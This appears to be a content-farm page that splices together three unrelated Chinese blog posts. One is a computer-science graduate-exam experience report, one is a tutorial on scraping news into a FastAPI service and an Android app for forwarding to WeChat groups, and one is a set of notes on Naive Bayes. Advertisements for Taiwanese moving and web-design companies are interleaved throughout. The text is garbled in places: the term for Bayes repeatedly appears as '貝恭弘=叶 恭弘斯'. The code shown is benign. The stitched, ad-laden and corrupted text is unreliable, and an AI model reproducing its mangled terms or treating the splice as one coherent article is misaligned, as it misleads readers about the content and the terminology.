考研經驗分享(上岸南理工)_包裝設計

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

上新台中搬家公司提供您一套專業有效率且人性化的辦公室搬遷、公司行號搬家及工廠遷廠的搬家服務

 

前言

對於很多人來說,考研(升學)是一個不可避免的話題,這其中也面臨着很大的抉擇和猶豫之中。如果是其他專業的話,這方面的猶豫和掙扎可能少一點,但是對於計算機專業的我們來說,這方面的猶豫可能會更多一些。今天藉著這個話題聊聊考研以及自己路途的所見所聞。以下均代表個人意見,請斟酌查看!

為什麼考研

首先,對於考研的群體來說,大致可能分為下面幾種類型:

  • 提升學歷、學校層次、擴大更好機會
  • 深入研究科研(算法類),不想搞工程
  • 不想工作,也沒工作技能,考研緩衝
  • 跟風考研

對於上面的幾種類型,你要弄清楚你當前階段想要的和得到的是什麼,不滿足的是什麼。考研的選擇你要充分考慮你自己的需求,而你自己當前的能力水平、學歷學校層次、家庭條件、熱愛技術的方向等等因素都是需要你進行綜合考慮的。

首先計算機專業的考研我一直覺得一定要慎重選擇的。這是一個機會的選擇問題

  • 首先考研肯定有風險,風險也挺大,好的學校報考人數較多,這是其中一個需要進行考慮得東西
  • 其次考研基本就是要放棄大三暑期實習生招聘、大四秋招。然而在這個期間很多大廠、互聯網企業會提供很多機會、優質的待遇。如果實例夠強、運氣不那麼差還是有很大機會找到心儀的工作的。
  • 還有很多人懷揣夢想想搞算法,到了研究生階段沒有自己的方向跟着導師盲目研究,就業時跟985本碩等其他大佬競爭,難。
  • 還有成長平台的問題,三年(兩年半)時間。你可能會遇到0成長外包,也可能遇到高成長上進的公司。也可能遇到伯樂研究三年,也可能給了低微的報酬幫導師打三年的工。
  • 最直接的就是錢的問題。工作存款和升學消費這也是挺大數據的一個對比。

當然,考研是有很多好處的,比如提升學歷,提升學校,更多機會,更優秀的圈子等等。

對於我為啥考研其實原因也挺多:

  • 首先,從我自己來說很想擺脫雙非的帽子吧,想在研究生專心搞一些自己更喜歡的東西,然後有更大的機會進大廠
  • 其次,地處農村,身邊高學歷確實不多,這個不累述懂就行了吧。
  • 最後,在考的時候有算法夢,但考完之後還是打算工程,但是多認識一些人,擴個圈子、和有趣的人做些有趣的事也是一方面目的。

擇校選擇

考研擇校一般在考研初中期決定,一個學校也能部分的代表考研的價值和含金量,但是這個考研很容易部分學校扎堆,部分學校沒人考這種。

首先我覺得要考研的話就是要對學校層次定位,這個分為主觀和客觀條件。

  • 從客觀來講,考研群體擇校大致是這樣的:二(三)本更多報考部分211或一本,一本報考更多部分985或211,211報985更多一些。也就是大部分人考研選擇的層次都比自己當前院校強一點或高那麼一個層次。
  • 從主觀來講,要看你個人的學習能力和決心,你如果處在專業頂尖的存在和期望,那你可能比普通的同等次的人擇校高一些層次,還有有些懷揣名校夢的大佬肯定選擇也會不同。別太飄也別太慫了。
    在這裏插入圖片描述

其次就是同層次院校的(區域)選擇問題:

  • 考研分旱區和澇區,差不多水平院校有些地方的研究生可能要比有些地方的好考一些,比如東北地區,西部等地區有些985,211上岸的難度還是很可觀的,而幾大直轄市、江浙以及部分發達地區和城市的院校報考的真是扎堆。這真的挺讓人糾結的:學計算機當然在大城市,發達地區更好,但這些地方的院校競爭太大 考的性價比還不如部分其他地區,這就讓人進退兩難。同時自己也要考慮好自己是否有地域偏好等問題。

最後學校的專業也考客觀考慮一下,某些院校的不同專業、專學碩考起來的難度也不同,當然有的學校偶爾可能爆熱,,有時也可能爆冷。

幾個問題

有個別學弟妹問幾個問題在這裏闡述一下。
是否需要報班?

  • 可以但沒必要,報班挺貴的,你跟着身邊研友,看着各個老師出的視頻、練習跟上進度(用某度雲可以嫌慢偶爾開個會員)。就差不多了,報班有作用但個人覺得這個短期衝刺每天都在高強度學習自我規劃好完全沒必要去花那一大筆錢,加個該校考研群,買個資料進個vip群就行了。可能也就2-3百左右然後還有他們學校專業課歷年試題之類。

怎麼確定自己要報的方向?

  • 這個挺重要,有的學校其實進去之後方向每那麼明顯主要跟導師,但有的學校計算機和軟件可能不在同一個校區(地區),有的可能支持校內調劑,並且有的專碩、學碩年限可能相同或不太相同,但是我個人覺得:學校相比來說更重要些,學院專業次之。能狗進去就好。當然,能選擇好的地理,教育資源當然最好,具體政策要看你報考的學校了。

對自己報考的方向知識淺薄,複試是否會受影響?

  • 有點影響但不致命,如果考名校那可能壓力比較大,每年跨考計算機上岸的其實都挺多的,不過跨考或者你專業技能較弱在複習無論初試還是複試可能要花更多時間,更累。當下定決心、肝就完事了,千萬不要因為跨考、專業知識薄弱自卑。其實客觀來說,考研的除了個別真的強,大部分其實是偏向本科期間考試偏強的那部分人。很多專業技能強得要麼保了,還有進大廠了。剩下考研群體強得,多但是沒那麼多。所以你跟他們的差距真的沒那麼大。好好準備,好好學習沒啥問題,別擔心!

如何正確看待分數:

  • 分數這個東西,不同專業、不同省份、不同學校都可能不同,不能只光光拿分數來看,有的省份政治英語壓分,這就低一些,有的省份(學校)專業課偏難,均分降低這分又低了,分數只能代表部分或者其他大部分人水平但是絕對不能代表所有的水平。

初試準備

談起準備,老學長不由得羞愧起來,我是去年7月份初才真正意義上開始準備考研,並且在準備初期做了無用得功——不看視頻直接看書刷各個章節測試,這樣也浪費了幾天後來開始買了1000題跟着宇哥得視頻開始刷題。

準備開始時間問題

  • 這個準備得時間,當然是越早越好,但是個人覺得大三下部分時間+暑期+大四上時間上應該是足夠了,當然奮戰清北復交那種或者專業課爆炸多、難那種另外可以特殊考慮。如果專業課2門,其實暑假開始時間上還行,如果專業課比較多,那建議提前開始。比如我的專業課三門,然後開始準備比較晚,效率也不是很高,專業課考的就比較一般。
  • 另外,如果對數據結構、高數掌握不太好得童鞋一定要提早開始,因為這兩門佔用得時間相對較多,學習起來較慢,如果開始得很晚如果學習時候遇到障礙,(隊友研友如果都掌握了)心態很可能會崩塔。這時就要穩住心態了。我很多研友在大三下就開始準備很多,等我複習得時候暑期他們高數和1800的高數部分都差不多了,當他們開始線性代數的時候我還在搞高數,晚上跑步時候他們談論線性代數的問題,,我啥都聽不懂。。。。插不上一句話。。。。在這裏插入圖片描述
  • 當然最後如果此時看到的你如果非常想考研,也是不晚的,也有部分人開學后三四個月上岸,這取決於個人當前學習能力和知識儲備決心。當然,未雨綢繆肯定最最穩妥的做法。

對於學科的看法,我覺得最主要要穩住的就是數學、專業課,英語政治順帶搞搞就行。

數學:

  • 個人覺得考研最重要的就是數學了。講真,英語政治只要稍微搞搞,那種差距沒那麼明顯(個別大佬請pass此條),主要數學不能炸,數學最近幾年是一年容易一年難,但是總體難度還是趨向上升的階段,在這個時間段內你能否以平和的心態寫完這張數學卷,或者會算就是算錯,那是非常傷的。
  • 對於高數的複習,可能近半時間都在搞得是高數,大部分暑假當然也是在搞高數,刷完1800或1000或者其他配套的練習,至於跟誰的視頻,我覺得各個老師風格不同,蘿蔔青菜,各有喜愛,我當時跟的是宇哥。高數怎麼開始?就是看視頻+刷題,就是看視頻+套公式刷題+總結+回顧。簡單粗暴而又高效。對於比較好的習題冊,1800、1000題(難一點)、660比較適合開始。開學后可以閉關修鍊之類強化,最後真題模擬題開涮。
  • 高數還是要搞得穩一點,提高速度和正確率,掌握部分偏難題,有些卷子可能容易一些,如果考難了可能會比較懵逼會直接爆炸。我有些研友平時就刷高數基礎題,難題不碰他說考研難得也做不出來,結果20考研這卷子他就炸了。。。
  • 線代跟李永樂老師就得了
    在這裏插入圖片描述

專業課:

專業課這個地方也有坑的,專業課的難度看學校。有的學校專業課門數多,還難那種我們俗稱壓分,所以有時候我們有時經常聽到 誰誰考了啥350360複試都沒進,,還有時候聽到誰誰310320都上岸了某好學校。這個雖然專業課不是全部,但是佔大部分。

專業課難度:

  • 有的學校專業課真的考的又難又多門數也多(我就是),上岸的人專業課可能專業課均分只有8090分,這樣的直接影響就是你的整體分數會被拉低不易調劑,如果專業課均分90和專業課均分130的那就是40分的差距,,如果這個人320涼了可能不一定好調劑,,但是360涼了調劑相比320肯定選擇就多了很多,調劑不看專業課是啥,只看分數。有些院校、區域可能都有這種壓分的傾向,所以在報考時候也要慎重選擇,考慮清楚。如果你是一鼓作氣只想該學校,那就沒啥顧慮,如果你是只想有更好的學上,那就得認真打聽了。

數據結構:

  • 這門專業課應該是計算機必不可少的,專業課都可以使用王道或其他專業考研教材刷題都挺好的,如果數據結構基礎較好,那麼學起來、刷起來可能會容易很多,如果基礎不太好,多看看視頻。在這裏推薦B站,哪裡不會搜哪裡,數據結構的話青島大學的王卓老師講的課程真的挺好的,當然鄙人也總結了部分各位可以觀摩,我當初就用個平板忘記了就看看,不過我有數據結構的基礎,在這方面也沒花太多時間。
  • 不過可能很多人的數據結構可能並不是很好,尤其是入門時候可能很痛苦,抽象的鏈表二叉樹搞不明白,遞歸算法想不通順。剛開始入門需要多看基礎類的視頻和博文,看的多了慢慢就消化了,總的來說這就是一個時間花費的問題。如果你是大二或者大三上看到此文章,這或許也是n年後的事情,提早刷題、多刷題還是非常有必要的,有算法基礎學數據結構其實還是很容易的。

買對應學校資料

※產品缺大量曝光嗎?你需要的是一流包裝設計!

窩窩觸角包含自媒體、自有平台及其他國家營銷業務等,多角化經營並具有國際觀的永續理念。

  • 考研除了408統考之外基本各個學校各自出題這樣,都是他們學校自己的老師出題,那你搞到他們的題庫和歷年真題就是很重要了,加入他們的考研群、購買他們的考研專業課資料、試題很有必要的。跟着王道學完一遍專業課到了秋天就要抱着他們歷年考研試題,期末試題等進行研究了。當然有些學校沒歷年真題但是只有回憶版,你要通過他們學校的學長的考研小機構進行操作一番了。重要一點:他們學校真題和題集很重要! 你的考研專業課試卷可能就是他們學校普通2-3門科目的期末考試組合起來的一張試卷。所以考本校的話專業課這方面優勢可能要大一些的。

英語

英語這個東西比較玄學,有人天生英語好,不努力不怎麼花試卷也能每次都考的不行。英語個人覺得前中期每天早晚稍微背背單詞就行了,但是對於可能很多二本的學弟學妹們可能英語是個必殺砍,這樣的話你們就要在英語方面每天堅持花時間背單詞。然後有時間搞搞其他模塊。

對於英語整張試捲來說,無聽力,完型分值較低,閱讀理解佔比最大,差距都靠閱讀理解拉開。20個閱讀理解每空2分,學的好的人可能錯4個以內(篇均錯1以內),有的人每篇5個平均錯2個那就錯8個,這樣8分差距就出來了。所以有時間多練閱讀理解即可。

歷年真題考前做完。而我英語的複習比較懶,,單詞沒怎麼背,,真題就做了10-19的前面部分。。新題型考前一天做了兩篇,,大小作文考前一晚整理模板,,,說來真慚愧。這樣準備導致最終結果也很一般,各位一定要提早準備好該準備的東西。。

在這裏插入圖片描述

政治

政治最後搞,考前一兩個月這樣搞搞,部分不理解的地方可以看徐濤老師視頻(不用全看),本來想背濤哥 核心考岸,後來說等肖8背肖8,後來又覺得肖8大題太多背肖4,,再後來覺得肖4所有題還是有點多再背重點題,,不重點的看看,,最後考試時候瘋狂胡扯、瘋狂套就得了。。當然,政治選擇題其實有點難的,想拿高分也得花時間的,要根據自己需求去中和時間。

總結

對於各科來說,數學和專業課是拉分較大的地方(重點關注),政治和英語可能是個別人 的強勢(不建議頭鐵花太多時間,個別大佬例外)。跟着各個考研老師的大節奏,穩重求進。前期剛高數,中期高數專業課,後期習題真題各科齊頭並進。考前多看看專業課(類似考前突擊)。

複試準備

對於不同學校,複試內容也不同,各個學校複試佔比也不同,有6:4的,還有5:5的。雖然初試很重要,但是複試的落差也可能造成不小的波動。我們常看到某新聞,某某某高分被刷,那可能真的就是以為自己穩了複試隨便搞結果涼涼了。有的學校複試有機試、筆試。有的可能主要面試。並且有機試的一定要準備好因為機試拉分比較大,筆試也是同樣的。對於大部分的複試來說都是公平的,但是有些院校不保護一志願,比如蘭某大學,寧某大學。大量等待雙985調劑生的學校也是存在的,這些也要慎重考慮。

如果時間來得及,提升硬實力還是很有必要的,多參賽,多證書,GPA高點,四六級好點也都挺好的。

我的南理準備

專業課

我是考的20軟工專碩,本來是825(數據結構+操作系統)然後在7月初轉成824(數據結構+操作系統+離散數學),因為數據結構有基礎,但是我的複習進度比較慢,9分月開開始操作系統的複習,10月份才開始離散數學的複習,離散對於剛開始的我確實是蒙的一批,都不知道怎麼搞了。因為離散的那本書的內容太多了,課後習題也比較多,後來還好找到了一份答案再繼續看。

對於專業課的複習,我剛開始就是第一遍跟着王道把數據結構和操作系統學完題目做完。9月(可以早點)後來就做他們學校的考研專業課資料了,我買的是蘭碼計算機考研資料。價格其實算算的話也還行。關鍵是買了資料後進群就有一群同樣考研的人,你不進去的話別人都在討論的問題每天的進度都有一定約束力。並且一些注意點的話,學習資源之類也可以分享,雖然表面上各個確實是競爭對手,但實際上還是比較熱心的幫助的。並且裏面學長的話也會分享很多經驗可以借鑒。可能各個學校都有這樣的群,加入其實還是很有必要的。

不過我自己最後考研專業課有點難,考的懵逼炸了,比估分低了20,,分數出來就知道涼了,然後就投身 苦逼的春招去了。。

南理考研

對於很多網上黑理航倆兄弟,怎麼說,大部分還行,可能以往複試、出成績就是有點慢吧。就今年來說,計算機和軟工擴招挺多,複試線290左右(專業課均分低)。競爭雖然挺高但是光看分數來說其實還行。因為咱們這種低分黨比價多所以有點危險,但是你如果準備充足,選擇對的方法、找的對的隊友。其實來說也還行。並且複試來說流程非常公平的。至於找不找導師其實都是錄取后的事情了,,因為錄取前導師一般不會理你,或者最多說:加油,請錄取后再聯繫之類。複試有筆試、機試、面試適合能力較強的人準備。

在這裏比較吹一波南理的考研群確實是挺好的,裏面的學長挺負責人也挺人性化的,基本複試的內容群里也都分享ppt之類的資料,也會帶領大家進行刷題,其實很多小白在這麼疫情幾個月的訓練算法提升確實挺大挺有收穫的。

其實每個學校可能都有那麼些挺好的組織,這個需要你來斟酌,如果你想考南理的話可以加他們蘭碼的企鵝號(良心推薦)801169280

結語

對於我自己來說,,我是渣渣中被擴招擴進來的幸運兒,,本來初試成績在擴招名次之外差10名,然後得知進複試準備複試內容(10分鐘筆試,8分鐘機試,10+分鐘面),也是疫情影響遠程複試。不過最後順利的逆襲綜合成績前進了20名進了(所以務必好好準備複試)。本來都簽了工作也準備解約了。確實蠻幸運的。

通過找工作那麼久了解市場、需求。結合自身的特長和能力,還是在研究生階段打算搞工程,算法工程師還是太難了,其實工程相對來說對更多人來說可能真的挺好的。不少無方向啥都不懂進去就是跟導師搞算法,結果最終搞着搞着根本不夠格作為一名算法工程師還是去搞開發,何必呢!所以無論搞啥一定要有自己選擇的目標和方面,分析市場,分析自己。包括考不考研也是一樣的問題!

在這裏插入圖片描述

在考研過程,感謝所有認可和支持認為我還行的人,以及身邊的研伴和朋友的支持。後面我會繼續知識輸出,歷所能及得分享!

在這裏插入圖片描述
下面是20年和前幾年考研學長統計得一些情況:
在這裏插入圖片描述
最後,我是一枚幸運的渣渣,只是運氣好而已在最底層僥倖上岸。如果是看到的你,奉勸:要早、要堅持、要進群、要有隊友。我想起崔的一首詩:

 

  • 昔人已乘黃鶴去,此地空餘黃鶴樓。
    黃鶴一去不復返,白雲千載空悠悠。

未來是你們的,不管考研與否,向著自己喜歡的東西和方向,加油!

歡迎關注微信公眾號:bigsai 一直分享技術和經驗的bigsai哥哥。

在這裏插入圖片描述
在這裏插入圖片描述

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網動廣告出品的網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上她。

如何利用 Python 爬蟲實現給微信群發新聞早報?(詳細)_台中搬家

台中搬家公司費用怎麼算?

擁有20年純熟搬遷經驗,提供免費估價且流程透明更是5星評價的搬家公司

1. 場景

經常有小夥伴在交流群問我,每天的早報新聞是怎麼獲取的?

其實,早期使用的方案,是利用爬蟲獲取到一些新聞網站的標題,然後做了一些簡單的數據清洗,最後利用 itchat 發送到指定的社群中。

由於爬蟲面對 網站改版的不穩定性及 itchat 不安全性,所以放棄了這種方案

後期更改了一種方案,通過修改爬蟲方案,創建 API 服務,編寫 App 去獲取數據,然後手動發送到微信群

本篇文章將和大家詳細聊聊具體的實現過程

2. 數據爬取

第 1 步,通過 Python 爬蟲獲取數據

獲取方式有 2 種,分別是:已有的新聞早報網站、新聞網站的頭條新聞

選擇一種爬蟲方式,就能很快地爬取到目標網站的數據

第 2 步,數據清洗,排序

將爬取到的數據先進行一次關鍵字篩選,然後按照點贊或者閱讀數按照熱點進行排序

第 3 步,參數化,去重

去掉數據中重複的新聞,然後將最後展示的數目參數化

# 按照點贊數目,降序排列
news_sorted_pro = sorted(news, key=itemgetter('news_approve_num'), reverse=True)
 
result = []
 
for news_sorted_item in news_sorted_pro:
      result.append(news_sorted_item.get('title'))
 
# 去重
result = sorted(set(result), key=result.index)
 
# 只取前12條數據
result = result[:self.news_num] if len(result) >= self.news_num else result

需要注意的是,由於新聞網站會經常改版,建議爬取多個新聞網站,做好異常處理,做一個優先級,如果一個網站爬取數據失敗,切換到下一個級別的網站爬取數據

3. 服務化

將數據服務化,即編寫 API,目的是為了方便終端調用

如果使用 Python 編寫 API,建議使用 FastAPI 或 Flask 框架,因為這兩個框架開發 API 方便快捷,以 FastAPI 為例:

第 1 步,安裝依賴

包含 FastAPI 框架及 hypercorn 依賴,hypercorn 是獨立的 ASGI 服務器,方便 FastAPI 項目的部署

# FastAPI框架
pip3 install fastapi
 
pip3 install hypercorn

第 2 步,編寫 API

使用 FastAPI 很方便,不到 10 行代碼就能編寫一個接口服務

只需要實例化 FastAPI 對象,利用裝飾器指定請求方法和路徑即可,調用上面的爬蟲方法即可。

from fastapi import FastAPI
 
# 實例化
app = FastAPI()
 
# API,Get方式
@app.get("/last_news")
def get_last_news():
    """
    最新的新聞
    :return:
    """
    news = get_news()
 
    data = {
        'code': 0,
        'news': news
    }
 
    # 封裝
    return data

如要想本地調試 API,可以通過 uvicorn 命令運行項目

# 運行項目
uvicorn news:app --reload

然後訪問下面的地址,查看返回的新聞數據

http://127.0.0.1:8000/last_news

台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

台中搬家公司推薦超過30年經驗,首選台中大展搬家

第 3 步,生成依賴遷移文件

使用 pip freeze 命令將在本地生成依賴遷移文件

# 生成遷移文件
pip freeze > requirements.txt

第 4 步,上傳代碼

將代碼上傳到代碼託管平台,比如:碼雲、GitLab 等

第 5 步,服務器拉取代碼

服務器中通過 git 拉取代碼,並通過依賴文件一鍵安裝所有依賴

# 安裝依賴
pip3 install -r requirements.txt

第 6 步,運行服務

使用 hypercorn 運行 FastAPI 項目,使進程一直在後台運行,並保存運行日誌信息

# 後台運行
# 保存日誌,綁定端口號為:8000
# nohup hypercorn news:app --bind 0.0.0.0:8000 > /news.log 2>&1 &

需要注意的是,項目綁定的端口號需要在防火牆和雲服務器安全組開啟

當然,如果使用 Java 編寫 API,推薦使用 Spring Boot,可以快速開發一個 Restful API 服務

4. 編寫 App

完成 API 服務之後,接下來就是在終端編寫一款 App 去訪問 API,拿到數據並展示出來

以編寫一款 Android 應用為例

首先,我們在界面上放置一個文本显示框和一個按鈕控件

然後,對按鈕控件設置點擊事件的監聽

get_news_btn = findViewById(R.id.get_news_btn);
 
//監聽事件
get_news_btn.setOnClickListener(this);
 
@Override
public void onClick(View v)
{
    switch (v.getId())
    {
        case R.id.get_news_btn:
            news_et.setText("獲取中。。。");
            getNewsMet();
            break;
        }
    }

接着,使用 Android 的網絡請求框架 OkHttp 框架調用 API 獲取數據

/***
* 獲取新聞
*/
private void getNewsMet()
{
     OkHttpClient okHttpClient = new OkHttpClient();
     //構建請求信息:連接請求url 請求方法method 請求頭部headers 請求體body 標籤tag
     Request request = new Request.Builder().url(url).get().build();
//        Call call = okHttpClient.newCall(request);
 
     okHttpClient.newCall(request).enqueue(new Callback()
     {
          @Override
          public void onFailure(Call call, IOException e)
          {
              Log.d("xag", "獲取失敗");
              showResult(false, "");
          }
 
          @Override
          public void onResponse(Call call, final Response response) throws IOException
          {
              Log.d("xag", "獲取成功")
              parseJsonWithJsonObject(response);
          }
      });
}

最後,將新聞數據显示在文本控件中,並複製到系統剪切板

private void copyToClip(String content)
{
     //獲取剪貼板管理器:
     ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
     // 創建普通字符型ClipData
     ClipData mClipData = ClipData.newPlainText("Label", content);
     // 將ClipData內容放到系統剪貼板里。
     if (null != cm)
     {
         cm.setPrimaryClip(mClipData);
     }
}

如果只有 iOS 設備,使用 Xcode 編寫 iOS 應用,建議將 Xcode 升級到 11.0 以上

創建項目的時候,推薦使用 SwiftUI 構建 UI 界面,然後利用 CocoaPods 添加 Alamofire 網絡請求依賴庫,其他操作步驟和 Android 端類似,這裏不展開說明

# Uncomment the next line to define a global platform for your project
source 'https://github.com/CocoaPods/Specs.git'
 
platform :ios, '9.0'
 
use_frameworks!
 
target 'news_eve' do
  # Comment the next line if you don't want to use dynamic frameworks
  pod 'Alamofire'
  pod 'SwiftyJSON'
  pod 'HandyJSON'
  # Pods for news_eve
end

最後

上面步驟只需要點擊 App 中的按鈕,早報新聞就複製到系統剪切板了,接着可以轉發到多個微信群了

當然,最後一步也可以利用 SoloPi 或者無障礙,將內容利用自動化操作,一鍵轉發出去

我已經將文中部分源碼上傳到 公眾號 後台,關注公眾號 AirPython 后回復「 早報 」即可獲得全部源碼

如果你覺得文章還不錯,請大家點贊分享下。你的肯定是我最大的鼓勵和支持。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

台中搬家公司費用怎麼算?

擁有20年純熟搬遷經驗,提供免費估價且流程透明更是5星評價的搬家公司

04_樸素貝恭弘=叶 恭弘斯算法_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

  今天是2020年2月4日星期二,全國確診人數達到了20471例,確診人數從一萬例到兩萬例,只用了三天啊,疫情比想象的嚴重的多啊。影響程度早早超過了非典,普天盛世之下的堂堂中華,也會爆出如此疫情,人類還是弱小,微生物才是地球的主宰啊。

  看了一下樸素貝恭弘=叶 恭弘斯算法,這次的深入學習,發現了許多之前學習忽略的地方,在這裏先簡單敘述下感想。看了很多資料講樸素貝恭弘=叶 恭弘斯是生成模型,那就有必要和判別模型做一下對比,通常說判別模型,它是通過“輸入特徵x”直接學習“輸出y”,也就是直接學習輸出y和特徵x之間的映射關係。比如說判斷來診人員A是否需要輸液,k近鄰算法僅僅根據來診人員A的輸入特徵和哪幾個最近鄰節點的特徵相似,直接多數表決判斷A的類別是否需要輸液。(這裏用k近鄰算法作為例子,有點不妥,因為k近鄰沒有顯式的學習過程,決策樹章節再分析這個問題)。

  樸素貝恭弘=叶 恭弘斯作為生成模型的代表,需要先找到輸入特徵x與輸出y的聯合概率分佈,也就是生成一對數據(x,y)的方式。再計算y在輸入特徵x的條件下的出現概率,比較不同類別y的大小,哪個類別的y大,未知數據就屬於哪個類別。這裏首先要解決聯合概率分佈是什麼,接下來是條件分佈,最後執果索因是什麼,也就是怎樣理解結果對原因產生影響,解決了這三個問題,相信就能夠對生成模型,有一個大概的了解。

  在正式開始吃李航老師的書本內容前,先解決一下概率知識上的盲點。這部分內容僅作參考,因為概率課是水過的…數學二也沒有考概率,只是在學習機器學習前簡單看了下概率…

  我們用P(A)記為事件A發生的概率,P(A∩B)記為事件A和事件B同時發生的概率,稱為聯合概率,P(A|B)記為在事件B發生的前提下,事件A發生的條件概率。這裏的事件A和B不一定具有因果或者先後序列關係。通常我們在描述某個事件發生的概率的時候,其實總是默認了該事件所在的樣本空間,現在我們需要重新理解一下這個概念,樣本空間是一個實驗或隨機試驗所有可能結果的集合(樣本空間的任何一個子集都被稱為一個事件)。我們說P(A)是事件A發生的概率,不能離開事件A所處的樣本空間,如維恩圖中藍色框部分,事件A的概率P(A)其實是指在樣本空間Ω中,事件A部分佔樣本空間Ω的比率。

  在樣本空間Ω下,事件A和事件B同時發生的聯合概率P(A∩B)也就是圖中A∩B部分佔樣本空間Ω的比率。來看一下條件概率P(A|B),也就是在事件B發生的前提下,事件A發生的概率,P(A|B)與P(A)的區別在哪裡?很明顯,是條件事件B。在維恩圖中怎麼理解呢?前文提到了樣本空間,這裏的重點就在於樣本空間的變化。在P(A)中,指的是A部分佔樣本空間Ω的比率;在P(A|B)中,有了一個前提,需要事件B先發生,也就是排除了原來樣本空間Ω中B部分以外的區域。換句話說,條件的存在意味着樣本空間的縮小,那麼P(A|B)也就是A∩B部分(事件A、B同時發生,包含了事件A發生)佔新的樣本空間B的比率。P(A)與P(A|B),除了樣本空間的變化,是否存在定量關係呢?這裏我們用公式看一下比率關係,用sizeA表示維恩圖中A所在部分。

  可以得到:

  哎,這就有意思了。通過公式的定量表示,我們可以看到事件A在附加了條件下,也就是樣本空間縮小的情況下,P(A)與P(A|B)存在一種定量關係。這裏大膽的把這個定量關係作為附加條件B之後的調整因子。其實這就是貝恭弘=叶 恭弘斯公式,只是換了一個角度進行理解,一千個讀者一千個哈姆雷特。

  在貝恭弘=叶 恭弘斯公式中,P(A)稱為先驗概率,P(A|B)稱為後驗概率。我的理解是這樣,先驗概率P(A)是在事件B發生之前,對A事件的一個判斷,一般來說是我們對數據所在領域的歷史經驗或者常識,這個經驗或者常識對該事件發生的概率難以量化,但我們可以對它進行假設;后驗概率P(A|B),是事件B發生之後,對事件A發生概率的重新評估。后驗概率也就可以理解成:后驗概率=先驗概率×調整因子,通過調整因子,讓預估概率更接近真實概率。

  寫到這裏,大概可以對聯合概率、條件概率、貝恭弘=叶 恭弘斯公式有個簡單的理解了,但是好像還沒有扯到生成模型什麼事,這就來扯一扯。

  在我的理解里,該算法需要拋棄判別模型中的“映射”思路。就是說要理解素樸貝恭弘=叶 恭弘斯算法,需要先丟掉“給出一個什麼樣的輸入特徵向量x,模型可以得到什麼樣的輸出結果y”這個直接判別的映射想法。說樸素貝恭弘=叶 恭弘斯算法是生成模型,實際上就是在判斷新的輸入實例x具體類別時,要通過訓練數據集中(x,y1)、(x,y2)這種具體組合在數據集中出現的概率,結合條件概率再去判斷x的類別是y1,還是y2的哪種可能性大。在上邊的一堆公式中,可以看到貝恭弘=叶 恭弘斯公式(7)的得來,依賴於公式(3)中的事件A和事件B同時出現的聯合概率。換句話說,我們要判斷新的輸入實例x的類別,數據集中的類別分別為y1、y2,類別y有自己的分佈規律。例如服從P(y1)=0.8、P(y2)=0.2的二項分佈,簡單來說,我們看到是y1的概率這麼大,直接把x的類別判斷為y1就是了。但貝恭弘=叶 恭弘斯不是這麼做的,因為每個實例x是不一樣的(實例x可能的情況有自己的分佈)。我們是不是可以根據x在已經確定的情況下,再去判斷類別y的條件概率呢?這就意味着樣本空間的縮小,在有條件的情況下,再去判斷y的類別,肯定要比什麼都不知道的情況做判斷要準確。也就是我們要找到x,y各個單獨事件的組合事件(x,y1)、(x,y2)在數據集中的分佈,用來調整類別y的先驗概率,得到有條件下的后驗結果。

 GitHub:https://github.com/wangzycloud/statistical-learning-method

 樸素貝恭弘=叶 恭弘斯算法

引入

  前邊說了一大堆亂七八糟的東西,形式化來講,樸素貝恭弘=叶 恭弘斯算法是基於貝恭弘=叶 恭弘斯定理和特徵條件假設的分類方法。對於給定的訓練數據集,首先是利用特徵條件獨立假設,學習輸入輸出的聯合概率分佈。然後基於該模型,對給定的輸入實例x,利用貝恭弘=叶 恭弘斯定理求出后驗概率最大的輸出類別y。本節有不少耐看的公式,第一次耐心看懂,之後就沒這麼晦澀了,接下來按照書中的順序記錄一下,包括樸素貝恭弘=叶 恭弘斯法的基本方法、后驗概率最大化的含義、參數估計和樸素貝恭弘=叶 恭弘斯算法。

基本方法

  首先是模型輸入、輸出情況的說明,輸入數據用n維特徵向量表示,這裏注意一下訓練數據集T,數據集T內的數據是由是由事件x,y同時發生的聯合概率分佈產生。

  實際上,學習到了聯合概率分佈P(X,Y),也就是學習到了生成一個數據(xn+1,yn+1)的方式,這就要我們把輸入實例xn+1和相應輸出類別yn+1當成一個整體來對待。接下來看一下條件概率分佈,我們知道輸入特徵向量不是一個單獨的數值,而是一系列特徵分量構成的向量,並且每個分量有不同的取值範圍,公式(4.2)反映了這一事實,這就影響到我們對聯合概率的求解。每個分量有不同的取值,不同取值的x與類別y構成同時發生的聯合事件,各個分量的排列組合結果是一個非常大的数字,直接根據樣本出現的頻率來估計參數是一個非常困難的事情。假如樣本的n個屬性都是二值的,則樣本空間將有2的n次方種可能的取值,在現實中,這個種類數往往大於訓練樣本,一些可能的取值在訓練集中並不會出現。

  這裏我們看一下條件獨立性假設,實際上就是說,我們強行認為特徵向量x的各個分量之間是獨立的,相互之間不能有影響,就算有影響,我們也不考慮進來。也就是假設每個分量屬性獨立的對分類結果產生影響,這是一個很強的假設,通過這個假設,參數求解變得可行,這也是樸素貝恭弘=叶 恭弘斯“樸素”的由來。其中,需要估計的參數數量大大減少:

  由此,我們可以將各個分量看作生成數據的不同階段,應用乘法公式得到公式(4.3),也就是各獨立變量的聯合分佈=各獨立變量先驗概率的乘積。文中提到的條件獨立性這一假設,使得樸素貝恭弘=叶 恭弘斯法變得簡單,但會犧牲一定的分類準確性。

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

  在有了聯合概率、條件概率、獨立性假設的前提下,在應用公式(4.4)-公式(4.6)后,可以得到最終的樸素貝恭弘=叶 恭弘斯分類器,即公式(4.7)。

后驗概率最大化

